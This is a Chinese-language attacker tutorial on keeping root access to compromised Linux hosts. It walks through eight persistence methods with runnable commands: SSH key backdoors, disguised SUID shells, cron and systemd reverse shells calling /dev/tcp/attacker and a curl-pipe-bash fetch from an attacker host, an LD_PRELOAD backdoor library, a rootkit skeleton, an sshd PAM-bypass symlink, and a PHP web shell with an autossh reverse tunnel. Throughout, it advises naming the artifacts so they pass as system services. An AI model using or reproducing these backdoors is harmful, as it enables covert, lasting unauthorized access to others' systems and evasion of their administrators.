Windows 有 Windows 的玩法,Linux 有 Linux 的门道。
在 Linux 内网渗透中,拿到 root 权限只是上半场结束。如果 shell 一掉你就回不来了——靶机重启了、管理员改了密码、或者你的监听端口被防火墙封了——那之前的所有工作都白费。
以下是 8 种 Linux 权限维持手段,全部经过实战检验,按隐蔽性排序。
# 1. 生成密钥对(在攻击机上)ssh-keygen-t rsa -b4096-f backdoor_key -N""# 2. 将公钥写入目标机器的 authorized_keyscat backdoor_key.pub >> ~/.ssh/authorized_keys# 如果目标没有 .ssh 目录mkdir-p ~/.ssh&&chmod700 ~/.sshecho"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." >> ~/.ssh/authorized_keyschmod600 ~/.ssh/authorized_keys# 3. 攻击机用私钥登录ssh-i backdoor_key root@target# 4. 给 root 以外的用户也加上(更隐蔽)cat backdoor_key.pub >> /home/ftpuser/.ssh/authorized_keys更隐蔽的做法:不要用 root,找一个长期不登录的普通用户(如 nobody、ftp、www-data),将密钥写入该用户的 authorized_keys,然后用 ssh ftp@target 登录后再 sudo 提权。
# 复制 bash 或 sh,设置 SUID 位cp /bin/bash /tmp/.systemdchmod u+s /tmp/.systemd# 任何用户执行它都获得文件属主(root)权限/tmp/.systemd -p# id → uid=1000(user) gid=1000(user) euid=0(root) ← euid=0 表示 root# 更隐蔽的方式:给一个系统命令加 SUIDchmod u+s /usr/bin/find# 任何用户都可以用 find 执行任意命令find / -execwhoami \;清理:find / -perm -4000 2>/dev/null 可以列出所有 SUID 文件,加 SUID 的异常文件很容易被管理员发现。建议文件名伪造成 .systemd 或 .pam_tally 这样的系统风格。
# 每分钟执行一次反弹 shell(crontab -l2>/dev/null; echo"*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'") | crontab -# 写入系统级 crontab(比用户级更隐蔽)echo"*/5 * * * * root curl -s http://attacker/script.sh | bash" >> /etc/crontab# 或放在 cron.d 目录(名字伪装成系统服务)echo"*/10 * * * * root /usr/lib/systemd/systemd-update" > /etc/cron.d/oom-resolvercron 的优缺点都很明显——稳定、简单,但 /etc/crontab 和 crontab -l 容易被发现。建议放在 /etc/cron.d/ 下,文件名起得像系统服务名。
四、Systemd Service——高权限、自动重启创建 service 文件,确保 shell 掉了也能自动拉起来。
# 创建 service 定义cat > /etc/systemd/system/network-optimizer.service << 'EOF'[Unit]Description=Network Performance OptimizerAfter=network.target[Service]Type=simpleExecStart=/bin/bash-c'bash -i >& /dev/tcp/attacker/4444 0>&1'Restart=alwaysRestartSec=30User=root[Install]WantedBy=multi-user.targetEOF# 启用并启动systemctl daemon-reloadsystemctl enable network-optimizer.servicesystemctl start network-optimizer.service# 检查状态systemctl status network-optimizer.serviceRestart=always + RestartSec=30:被 kill 后 30 秒自动复活。service 名前缀伪造成 network-、syslog-、systemd- 风格。
五、LD_PRELOAD——无文件 hook 任意程序LD_PRELOAD 环境变量指定一个共享库,在程序启动时提前加载,可以 hook 任意系统调用。
// evil.c — hook 系统调用,执行后门#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <stdlib.h>static void backdoor() __attribute__((constructor));void backdoor() { // 只有当攻击者 IP 连接时才触发 const char* attacker_ip = getenv("ATTACKER_IP"); if (attacker_ip) { // 隐蔽执行,不中断原程序 if (fork() == 0) { execl("/bin/bash", "bash", "-c","bash -i >& /dev/tcp/" ATTACKER_IP "/4444 0>&1", NULL); } }}# 编译gcc-shared-fPIC-o /usr/lib/libsystemd.so evil.c# 写入全局 LD_PRELOADecho"/usr/lib/libsystemd.so" > /etc/ld.so.preload# 此后每个系统命令执行时都会加载这个库# curl、ssh、sshd、sudo 等任何 ELF 程序都会触发/etc/ld.so.preload 是全局生效的,任何用户执行任何 ELF 程序都会加载。极具隐蔽性——管理员跑 ls、ps、netstat 都会触发你的后门。
六、内核模块(LKM Rootkit)——最底层、最难查// simple_rootkit.c — 最简单的 LKM rootkit#include <linux/module.h>#include <linux/kernel.h>#include <linux/syscalls.h>static int __init rootkit_init(void) { printk(KERN_INFO "[rootkit] loaded\n"); // hook syscall table,隐藏进程/文件 return 0;}static void __exit rootkit_exit(void) { printk(KERN_INFO "[rootkit] unloaded\n");}module_init(rootkit_init);module_exit(rootkit_exit);# 编译(需要在同版本内核下)make-C /lib/modules/$(uname-r)/build M=$(pwd) modules# 加载内核模块insmod simple_rootkit.ko# 查看是否加载lsmod | grep simple_rootkit# 卸载rmmod simple_rootkitLKM rootkit 在用户态完全不可见——ps 看不到进程、ls 看不到文件、netstat 看不到端口。但需要 root 权限加载,且内核升级后失效。
# 如果目标启用了 SSH 的 PAM 认证,创建软链接ln -sf /usr/sbin/sshd /tmp/su/tmp/su -oPort=2222# 连接时输入任意密码都能登录ssh root@target -p2222# 密码随便输,PAM 认证被绕过利用 SSH 的 PAM 认证机制缺陷——当通过软链接启动 sshd 时,PAM 会读取软链接名称对应的策略,如果策略文件不存在则绕过认证。
对于有 Web 服务的 Linux 主机,Web Shell 是最灵活的权限维持方式。
<?php system($_GET['cmd']); ?># 放在 Web 目录下echo'<?php system($_GET["cmd"]); ?>' > /var/www/html/.cache.php# 配合 autossh 建立持久反向隧道(即使反弹 shell 掉了也能自动重建)autossh -M0-o"ServerAliveInterval 30"-o"ServerAliveCountMax 3" \-R2222:localhost:22-N root@attacker -i /root/.ssh/backdoor_keyWeb Shell + 反向隧道是"双保险"——Web Shell 作为备用入口,反向隧道用于稳定连接。
快速得手(5 分钟内):SSH 密钥 + SUID 后门长期驻留(重启不丢):Systemd service + cron 双保险高隐蔽(不触发告警):LD_PRELOAD + SSH 密钥最底层控制(对抗取证):LKM Rootkit